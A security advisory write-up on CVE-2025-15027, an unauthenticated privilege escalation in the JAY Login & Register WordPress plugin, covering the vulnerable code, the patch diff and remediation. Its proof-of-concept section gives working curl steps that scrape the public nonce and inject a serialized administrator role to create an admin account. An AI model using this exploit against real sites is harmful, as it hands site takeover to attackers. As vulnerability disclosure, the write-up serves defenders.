CVE-2025-15027: Privilege Escalation in JAY Login & Register (CVSS 9.8)

CVE-2025-15027: Privilege Escalation in JAY Login & Register (CVSS 9.8)

CVE-2025-15027 is a critical privilege escalation in the JAY Login & Register WordPress plugin (CVSS 9.8). Any unauthenticated visitor can create a full administrator account — no credentials required. The root cause is an unguarded loop in the registration handler that writes arbitrary user meta, including wp_capabilities.

Vulnerability Summary

FieldValue
Plugin NameJAY Login & Register
Plugin Slugjay-login-register
CVE IDCVE-2025-15027
CVSS Score9.8 (Critical)
Vulnerability TypeUnauthenticated Privilege Escalation via Arbitrary User Meta Update
Affected Versions<= 2.6.03
Patched Version2.6.04
PublishedFebruary 7, 2026
ResearcherAndrea Bocchetti
Wordfence AdvisoryLink

Description

The JAY Login & Register plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.03. This is due to the plugin allowing a user to update arbitrary user meta through the jay_login_register_ajax_create_final_user function. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.


Technical Analysis

Vulnerable Code Path

1. AJAX Hook Registrationincludes/jay-login-register-ajax-handler.php, line 757:

add_action('wp_ajax_nopriv_jay_login_register_create_final_user', 'jay_login_register_ajax_create_final_user');

The wp_ajax_nopriv_ prefix registers the handler for unauthenticated requests. Any visitor can trigger this endpoint via POST /wp-admin/admin-ajax.php?action=jay_login_register_create_final_user.

2. Nonce Check — line 759:

check_ajax_referer('jay_login_register_nonce_action', 'jay_login_register_nonce');

A nonce check is present, but the same nonce is rendered in the public-facing login/register form via includes/jay-login-register-shortcodes.php, line 107:

wp_nonce_field( 'jay_login_register_nonce_action', 'jay_login_register_nonce' );

The login/register form is public. Any attacker can read the nonce from the page source and include it in their request. The nonce provides no real protection here — it was designed as a CSRF defense, but the token is publicly readable.

3. User Creation — lines 953–958:

$user_id = wp_insert_user($user_data);

A new user is created with the subscriber role. This is correct on its own.

4. Unguarded User Meta Loop (Root Cause) — lines 984–1018:

foreach ($_POST as $post_key => $post_value) {
    if ( strpos($post_key, 'meta_') === 0 ) {
        $real_meta_key = substr($post_key, 5);
        $real_meta_key = str_replace(' ', '_', $real_meta_key);
        $real_meta_key = sanitize_key($real_meta_key);
        
        // ... sanitize value ...
        
        update_user_meta($user_id, $real_meta_key, $final_value);
    }
}

After user creation, the function iterates over every POST parameter. For any key prefixed with meta_, it strips the prefix and calls update_user_meta() with the resulting key and the attacker-supplied value. There is no allowlist or denylist — the function accepts any meta key.

Root Cause

The function is designed to save custom registration fields (e.g., meta_birthdate, meta_national_id) to user meta. However, it does so without restricting which meta keys are writable. An attacker can prefix any WordPress internal meta key with meta_ and have it overwritten on the newly created account.

In practice, the critical target is wp_capabilities. This meta key stores an account’s roles and permissions as a serialized PHP array:

meta_key: wp_capabilities
meta_value: a:1:{s:10:"subscriber";b:1;}  ← normal subscriber
meta_value: a:1:{s:13:"administrator";b:1;} ← escalated to admin

By sending meta_wp_capabilities=a:1:{s:13:"administrator";b:1;} in the POST body, the attacker overwrites wp_capabilities with an administrator capability set immediately after account creation.

Why Existing Controls Failed

ControlWhy It Failed
check_ajax_referer() nonce checkThe nonce (jay_login_register_nonce_action) is embedded in the public login/register form via wp_nonce_field(). Unauthenticated users can read the nonce from the page HTML before making the malicious request.
sanitize_key() on meta keyCorrectly lowercases the key and strips invalid characters, but wp_capabilities is composed entirely of valid characters and passes through unchanged.
sanitize_textarea_field() on meta valueStrips HTML tags and cleans whitespace, but does not alter PHP serialized data strings. The payload a:1:{s:13:"administrator";b:1;} contains no HTML and survives sanitization.

Attack Impact

An unauthenticated attacker can:


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Retrieve the public nonce from the login/register form page

Visit the page containing the login/register shortcode and extract the nonce value from the hidden input field. Replace https://target.com/login/ with the actual URL where the shortcode is rendered.

NONCE=$(curl -s "https://target.com/login/" \
  | grep -oP 'id="jay_login_register_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"

Step 2: Create an administrator account

POST to the AJAX handler with a phone number (used as username), a password, and the crafted meta_wp_capabilities payload. The serialized string a:1:{s:13:"administrator";b:1;} is valid PHP serialization for the capabilities array ['administrator' => true].

curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  --data-urlencode "action=jay_login_register_create_final_user" \
  --data-urlencode "jay_login_register_nonce=${NONCE}" \
  --data-urlencode "user_input=09123456789" \
  --data-urlencode "jay_login_register_password=P@ssw0rd123!" \
  --data-urlencode 'meta_wp_capabilities=a:1:{s:13:"administrator";b:1;}'

Expected response:

{
  "success": true,
  "data": {
    "message": "ثبت نام با موفقیت انجام شد در حال ورود ...",
    "redirect_url": "https://target.com/"
  }
}

Step 3: Log in with the newly created administrator account

curl -s -c /tmp/cookies.txt -X POST "https://target.com/wp-login.php" \
  --data-urlencode "log=09123456789" \
  --data-urlencode "pwd=P@ssw0rd123!" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "redirect_to=/wp-admin/" \
  -L -o /tmp/admin_page.html

# Verify admin dashboard access
grep -o "<title>[^<]*</title>" /tmp/admin_page.html

Expected Result

The attacker now has a fully authenticated administrator session with complete control over the site. They can install plugins, upload files, read all content, modify users, and plant persistent backdoors.

Verification

Confirm the account has the administrator role:

# Using WP-CLI on the target server (if accessible):
wp user list --fields=user_login,roles --role=administrator

# Or via WordPress admin: Users → All Users → filter by Administrator role
# The attacker's phone number (09123456789) will appear with the Administrator role

Additionally, query the wp_usermeta table directly:

SELECT user_id, meta_key, meta_value
FROM wp_usermeta
WHERE meta_key = 'wp_capabilities'
  AND meta_value LIKE '%administrator%';

Patch Analysis

What Changed

Only includes/jay-login-register-ajax-handler.php was modified for this specific vulnerability (other files in the 2.6.04 release addressed the companion CVE-2025-15100).

Fix Explanation

The patch introduces a three-level protection system applied before any update_user_meta() call in the registration loop:

Level 1 — Explicit Denylist:

$disallowed_meta_keys = [
    'wp_capabilities',
    'wp_user_level',
    'admin_color',
    'rich_editing',
    'comment_shortcuts',
    'show_admin_bar_front',
    'session_tokens',
    'user-settings',
    'user-settings-time'
];

Blocks specifically known sensitive WordPress meta keys.

Level 2 — Prefix-based Denylist:

if (strpos($real_meta_key, 'wp_') === 0) {
    continue;
}

Blocks all meta keys starting with wp_, protecting against any WordPress-prefixed internal keys — including any that may not be on the explicit denylist.

Level 3 — Allowlist (most effective):

$allowed_custom_fields = [];
foreach ($custom_fields_config as $f) {
    $allowed_custom_fields[] = sanitize_key($f['key']);
}

if (!in_array($real_meta_key, $allowed_custom_fields, true)) {
    continue;
}

Builds a whitelist of only the meta keys that the site administrator has explicitly configured as custom registration fields. Only whitelisted keys are written. This is the strongest defense. Instead of trying to list every dangerous key to block, it only allows keys the admin has explicitly permitted.

The patch replaces arbitrary meta writes with allowlist-gated writes — a complete fix for the root cause. One note: the allowlist is populated from plugin settings, which an administrator could manipulate. However, that falls outside the threat model (admin-to-admin is not an escalation).

Code Diff (Key Changes)

+    $allowed_custom_fields = [];
     if ( is_array($custom_fields_config) ) {
         foreach ($custom_fields_config as $f) {
-            $fields_map[ $f['key'] ] = $f;
+            $fields_map[ $f['key'] ] = $f;
+            if ( isset($f['key']) && !empty($f['key']) ) {
+                $allowed_custom_fields[] = sanitize_key($f['key']);
+            }
         }
     }
+
+    // 🔒 Blacklist: dangerous keys
+    $disallowed_meta_keys = [
+        'wp_capabilities', 'wp_user_level', 'admin_color',
+        'rich_editing', 'comment_shortcuts', 'show_admin_bar_front',
+        'session_tokens', 'user-settings', 'user-settings-time'
+    ];
 
     foreach ($_POST as $post_key => $post_value) {
-        if ( strpos($post_key, 'meta_') === 0 ) {
+        if ( strpos($post_key, 'meta_') !== 0 ) continue;
             $real_meta_key = substr($post_key, 5);
             $real_meta_key = str_replace(' ', '_', $real_meta_key);
             $real_meta_key = sanitize_key($real_meta_key);
 
+        // Level 1: Blacklist specific dangerous keys
+        if (in_array($real_meta_key, $disallowed_meta_keys, true)) continue;
+
+        // Level 2: Block ALL wp_* keys
+        if (strpos($real_meta_key, 'wp_') === 0) continue;
+
+        // Level 3: Only allow whitelisted fields
+        if (!in_array($real_meta_key, $allowed_custom_fields, true)) continue;
+
             // ... sanitize and update ...
             update_user_meta($user_id, $real_meta_key, $final_value);
-        }
     }

Timeline

DateEvent
February 7, 2026Vulnerability publicly disclosed by Wordfence
February 7, 2026Patched version 2.6.04 released
February 8, 2026Wordfence advisory last updated

Remediation

Update the jay-login-register plugin to version 2.6.04 or later.

wp plugin update jay-login-register

If immediate update is not possible, deactivate the plugin until the update can be applied.


References

  1. Wordfence Advisory
  2. WordPress Plugin Trac — Vulnerable file (2.5.01 ref)
  3. CVE-2025-15027
  4. Plugin on WordPress.org

Frequently Asked Questions

What is CVE-2025-15027?

CVE-2025-15027 is a critical unauthenticated privilege escalation vulnerability in the JAY Login & Register WordPress plugin, rated CVSS 9.8, that allows any visitor to create a full administrator account with no credentials required.

Which versions of JAY Login & Register are affected by CVE-2025-15027?

All versions up to and including 2.6.03 are vulnerable. Version 2.6.04 contains the fix and is safe to use.

What can an attacker do with CVE-2025-15027?

An attacker can register a new WordPress account with full administrator privileges without logging in first. Once logged in as administrator, they can install plugins, upload files, modify themes, access all site data, and plant persistent backdoors.

Does an attacker need to be logged in to exploit CVE-2025-15027?

No. The vulnerable endpoint is available to unauthenticated users, and the nonce used for verification is publicly readable from the login page. Anyone who can access the site can exploit this vulnerability.

How do I fix CVE-2025-15027 in JAY Login & Register?

Update the JAY Login & Register plugin to version 2.6.04 or later. If you cannot update immediately, deactivate the plugin until the update can be applied.

Has JAY Login & Register been patched for CVE-2025-15027?

Yes. Version 2.6.04 was released on February 7, 2026 and fully resolves this vulnerability by replacing unrestricted meta key writes with an allowlist-based approach.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee